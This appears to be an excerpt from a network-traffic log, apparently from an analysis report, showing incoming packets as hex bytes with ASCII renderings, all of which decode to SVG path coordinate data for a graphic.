2023-05-31 12:51:54 UTC	402	IN	Data Raw: 2c 31 38 36 2e 38 31 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 31 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 38 2c 32 2e 30 38 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 35 31 2e 34 39 2c 31 39 33 2e 36 34 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 32 2c 32 2e 33 39 2c 32 2e 33 39 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 35 2c 32 2e 32 33 2c 32 2e 32 33 2c 30 2c 30 2c 31 2d 32 2e Data Ascii: ,186.81a1.7,1.7,0,0,1,.77-2.2,2.48,2.48,0,0,1,3.29.93,2.36,2.36,0,0,1-.51,2.84,2.22,2.22,0,0,1-2.85,0,2.08,2.08,0,0,1-.15-2.81"/><path class="cls-4" d="M951.49,193.64a1.7,1.7,0,0,1,.77-2.2,2.48,2.48,0,0,1,3.29.92,2.39,2.39,0,0,1-.5,2.85,2.23,2.23,0,0,1-2.
2023-05-31 12:51:54 UTC	418	IN	Data Raw: 30 2c 31 2d 32 2e 38 36 2c 30 41 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2c 39 32 32 2c 31 32 35 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 32 31 2e 36 37 2c 31 33 33 2e 31 32 61 31 2e 36 39 2c 31 2e 36 39 2c 30 2c 30 2c 31 2c 2e 37 36 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 36 2c 30 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 32 31 2e 39 2c 31 34 30 61 31 2e 36 38 2c 31 2e 36 38 2c 30 2c 30 2c 31 2c 2e 37 36 2d 32 2e 32 2c 32 2e Data Ascii: 0,1-2.86,0A2.09,2.09,0,0,1,922,125"/><path class="cls-4" d="M921.67,133.12a1.69,1.69,0,0,1,.76-2.2,2.48,2.48,0,0,1,3.29.93,2.36,2.36,0,0,1-.5,2.84,2.22,2.22,0,0,1-2.86,0,2.1,2.1,0,0,1-.15-2.82"/><path class="cls-4" d="M921.9,140a1.68,1.68,0,0,1,.76-2.2,2.
2023-05-31 12:51:54 UTC	434	IN	Data Raw: 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 38 2c 32 2e 33 38 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 33 2c 32 2e 32 33 2c 30 2c 30 2c 31 2d 32 2e 38 36 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 30 35 2e 34 37 2c 32 37 30 2e 33 39 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 37 2c 32 2e 34 37 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 41 32 2e 33 38 2c 32 2e 33 38 2c 30 2c 30 2c 31 2c 39 30 39 2c 32 37 32 61 32 2e 32 33 2c 32 2e 32 33 2c 30 2c 30 2c 31 2d 32 2e 38 36 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 31 22 2f 3e 3c Data Ascii: 48,2.48,0,0,1,3.29.93,2.38,2.38,0,0,1-.5,2.84,2.23,2.23,0,0,1-2.86,0,2.09,2.09,0,0,1-.15-2.82"/><path class="cls-4" d="M905.47,270.39a1.7,1.7,0,0,1,.77-2.2,2.47,2.47,0,0,1,3.29.93A2.38,2.38,0,0,1,909,272a2.23,2.23,0,0,1-2.86,0,2.09,2.09,0,0,1-.15-2.81"/><
2023-05-31 12:51:54 UTC	450	IN	Data Raw: 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 37 35 2e 36 35 2c 32 30 39 2e 38 37 61 31 2e 36 39 2c 31 2e 36 39 2c 30 2c 30 2c 31 2c 2e 37 36 2d 32 2e 32 2c 32 2e 34 39 2c 32 2e 34 39 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 36 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 37 35 2e 38 38 2c 32 31 36 2e 37 61 31 2e 36 39 2c 31 2e 36 39 2c 30 2c 30 2c 31 2c 2e 37 36 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d Data Ascii: class="cls-4" d="M875.65,209.87a1.69,1.69,0,0,1,.76-2.2,2.49,2.49,0,0,1,3.29.93,2.36,2.36,0,0,1-.5,2.84,2.22,2.22,0,0,1-2.86,0,2.09,2.09,0,0,1-.15-2.81"/><path class="cls-4" d="M875.88,216.7a1.69,1.69,0,0,1,.76-2.2,2.48,2.48,0,0,1,3.29.93,2.36,2.36,0,0,1-
2023-05-31 12:51:54 UTC	466	IN	Data Raw: 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 34 36 2e 30 35 2c 31 35 36 2e 31 39 61 31 2e 36 39 2c 31 2e 36 39 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 36 2c 32 2e 34 36 2c 30 2c 30 2c 31 2c 33 2e 32 38 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 31 2c 32 2e 32 31 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 38 2c 32 2e 30 38 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 Data Ascii: 36,2.36,0,0,1-.5,2.84,2.22,2.22,0,0,1-2.85,0,2.09,2.09,0,0,1-.16-2.82"/><path class="cls-4" d="M846.05,156.19a1.69,1.69,0,0,1,.77-2.2,2.46,2.46,0,0,1,3.28.93,2.36,2.36,0,0,1-.5,2.84,2.21,2.21,0,0,1-2.85,0,2.08,2.08,0,0,1-.16-2.81"/><path class="cls-4" d="
2023-05-31 12:51:54 UTC	482	IN	Data Raw: 2c 32 38 36 2e 36 33 61 31 2e 36 38 2c 31 2e 36 38 2c 30 2c 30 2c 31 2c 2e 37 36 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 32 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 35 2c 32 2e 32 33 2c 32 2e 32 33 2c 30 2c 30 2c 31 2d 32 2e 38 36 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 32 39 2e 38 36 2c 32 39 33 2e 34 35 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 36 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 31 2c 32 2e 32 31 2c 30 2c 30 2c 31 2d 32 Data Ascii: ,286.63a1.68,1.68,0,0,1,.76-2.2,2.48,2.48,0,0,1,3.29.92,2.37,2.37,0,0,1-.5,2.85,2.23,2.23,0,0,1-2.86,0,2.09,2.09,0,0,1-.15-2.81"/><path class="cls-4" d="M829.86,293.45a1.7,1.7,0,0,1,.76-2.2,2.48,2.48,0,0,1,3.29.93,2.36,2.36,0,0,1-.5,2.84,2.21,2.21,0,0,1-2
2023-05-31 12:51:54 UTC	498	IN	Data Raw: 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 30 30 2c 32 33 32 2e 39 34 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 36 2c 32 2e 34 36 2c 30 2c 30 2c 31 2c 33 2e 32 38 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 30 30 2e 32 36 2c 32 33 39 2e 37 37 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 36 2c 32 2e 34 36 2c 30 2c 30 2c 31 2c 33 2e 32 38 2e 39 Data Ascii: ,0,0,1-.16-2.81"/><path class="cls-4" d="M800,232.94a1.7,1.7,0,0,1,.77-2.2,2.46,2.46,0,0,1,3.28.93,2.36,2.36,0,0,1-.5,2.84,2.22,2.22,0,0,1-2.85,0,2.09,2.09,0,0,1-.16-2.82"/><path class="cls-4" d="M800.26,239.77a1.7,1.7,0,0,1,.77-2.2,2.46,2.46,0,0,1,3.28.9
2023-05-31 12:51:54 UTC	514	IN	Data Raw: 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 30 35 2c 32 32 39 2e 32 35 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 32 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 30 34 2e 37 33 2c 32 32 31 2e 35 33 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 37 39 2c 32 2e 37 39 Data Ascii: 37,2.37,0,0,1,.18,3.18"/><path class="cls-7" d="M505,229.25a1.91,1.91,0,0,1-.87,2.48,2.79,2.79,0,0,1-3.71-1,2.68,2.68,0,0,1,.57-3.22,2.51,2.51,0,0,1,3.22,0,2.37,2.37,0,0,1,.18,3.18"/><path class="cls-7" d="M504.73,221.53a1.92,1.92,0,0,1-.87,2.49,2.79,2.79
2023-05-31 12:51:54 UTC	530	IN	Data Raw: 3d 22 4d 35 32 33 2e 38 31 2c 38 39 2e 35 36 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 32 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 32 33 2e 35 35 2c 38 31 2e 38 34 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 2c 32 2e Data Ascii: ="M523.81,89.56a1.91,1.91,0,0,1-.87,2.48,2.79,2.79,0,0,1-3.71-1,2.68,2.68,0,0,1,.57-3.22,2.51,2.51,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"/><path class="cls-7" d="M523.55,81.84a1.92,1.92,0,0,1-.87,2.49,2.79,2.79,0,0,1-3.71-1,2.66,2.66,0,0,1,.57-3.21,2.5,2.
2023-05-31 12:51:54 UTC	546	IN	Data Raw: 2e 36 36 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2e 30 35 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 35 37 2e 35 32 2c 31 35 37 2e 39 34 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2e 30 35 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2c 33 Data Ascii: .66a1.92,1.92,0,0,1-.87,2.49,2.8,2.8,0,0,1-3.71-1.05,2.66,2.66,0,0,1,.57-3.21,2.5,2.5,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"/><path class="cls-7" d="M557.52,157.94a1.92,1.92,0,0,1-.87,2.49,2.79,2.79,0,0,1-3.71-1.05,2.66,2.66,0,0,1,.57-3.21,2.5,2.5,0,0,1,3
2023-05-31 12:51:54 UTC	562	IN	Data Raw: 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2e 30 35 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 31 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 39 31 2e 34 39 2c 32 33 34 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 37 38 2c 32 2e 37 38 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2e 30 35 2c 32 2e 36 37 2c 32 2e 36 37 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 Data Ascii: 9,0,0,1-3.71-1.05,2.66,2.66,0,0,1,.57-3.21,2.5,2.5,0,0,1,3.22,0,2.36,2.36,0,0,1,.18,3.17"/><path class="cls-7" d="M591.49,234a1.92,1.92,0,0,1-.87,2.49,2.78,2.78,0,0,1-3.71-1.05,2.67,2.67,0,0,1,.57-3.21,2.51,2.51,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"/><pa
2023-05-31 12:51:54 UTC	578	IN	Data Raw: 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 31 30 2e 33 31 2c 39 34 2e 33 36 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 37 38 2c 32 2e 37 38 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 37 2c 32 2e 36 37 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 31 30 2e 30 35 2c 38 36 2e 36 34 Data Ascii: 1,.57-3.21,2.5,2.5,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"/><path class="cls-7" d="M610.31,94.36a1.91,1.91,0,0,1-.87,2.48,2.78,2.78,0,0,1-3.71-1,2.67,2.67,0,0,1,.57-3.21,2.51,2.51,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"/><path class="cls-7" d="M610.05,86.64
2023-05-31 12:51:54 UTC	594	IN	Data Raw: 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 34 34 2e 32 38 2c 31 37 30 2e 34 36 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 32 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 34 34 2c 31 36 32 2e 37 34 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 37 39 2c 32 2e 37 39 2c Data Ascii: 6,2.36,0,0,1,.17,3.18"/><path class="cls-7" d="M644.28,170.46a1.91,1.91,0,0,1-.87,2.48,2.79,2.79,0,0,1-3.71-1,2.68,2.68,0,0,1,.57-3.22,2.51,2.51,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"/><path class="cls-7" d="M644,162.74a1.92,1.92,0,0,1-.87,2.49,2.79,2.79,
2023-05-31 12:51:54 UTC	610	IN	Data Raw: 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 37 38 2e 32 35 2c 32 34 36 2e 35 36 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2e 30 35 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 37 38 2c 32 33 38 2e 38 34 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2e 30 35 2c 32 2e 36 36 2c 32 Data Ascii: "/><path class="cls-7" d="M678.25,246.56a1.92,1.92,0,0,1-.87,2.49,2.8,2.8,0,0,1-3.71-1.05,2.66,2.66,0,0,1,.57-3.21,2.5,2.5,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"/><path class="cls-7" d="M678,238.84a1.92,1.92,0,0,1-.87,2.49,2.79,2.79,0,0,1-3.71-1.05,2.66,2
2023-05-31 12:51:54 UTC	626	IN	Data Raw: 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 39 36 2e 38 31 2c 39 39 2e 31 35 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 36 2d 33 2e 32 31 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2c 33 2e 32 33 2c 30 2c 32 2e Data Ascii: a1.92,1.92,0,0,1-.87,2.49,2.8,2.8,0,0,1-3.71-1,2.66,2.66,0,0,1,.57-3.21,2.5,2.5,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"/><path class="cls-7" d="M696.81,99.15a1.92,1.92,0,0,1-.87,2.49,2.79,2.79,0,0,1-3.71-1,2.68,2.68,0,0,1,.56-3.21,2.52,2.52,0,0,1,3.23,0,2.
2023-05-31 12:51:54 UTC	642	IN	Data Raw: 31 2e 30 35 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 37 33 30 2e 37 38 2c 31 37 35 2e 32 36 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 37 38 2c 32 2e 37 38 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2e 30 35 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 36 2d 33 2e 32 31 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2c 33 2e 32 33 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 Data Ascii: 1.05,2.66,2.66,0,0,1,.57-3.21,2.5,2.5,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"/><path class="cls-7" d="M730.78,175.26a1.91,1.91,0,0,1-.87,2.48,2.78,2.78,0,0,1-3.71-1.05,2.68,2.68,0,0,1,.56-3.21,2.52,2.52,0,0,1,3.23,0,2.36,2.36,0,0,1,.17,3.18"/><path class="
2023-05-31 12:51:54 UTC	658	IN	Data Raw: 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 37 36 34 2e 37 35 2c 32 35 31 2e 33 36 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 32 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 37 36 34 2e 34 39 2c 32 34 33 2e 36 34 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 Data Ascii: 22,0,2.36,2.36,0,0,1,.17,3.18"/><path class="cls-7" d="M764.75,251.36a1.91,1.91,0,0,1-.87,2.48,2.79,2.79,0,0,1-3.71-1,2.68,2.68,0,0,1,.57-3.22,2.51,2.51,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"/><path class="cls-7" d="M764.49,243.64a1.92,1.92,0,0,1-.87,2.49
2023-05-31 12:51:54 UTC	674	IN	Data Raw: 2e 31 33 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 32 2c 32 2e 38 32 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 36 35 33 2e 34 32 2c 32 35 39 2e 35 34 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 35 2c 33 2e 31 35 2c 33 2e 31 35 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 32 2c 32 2e 38 32 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 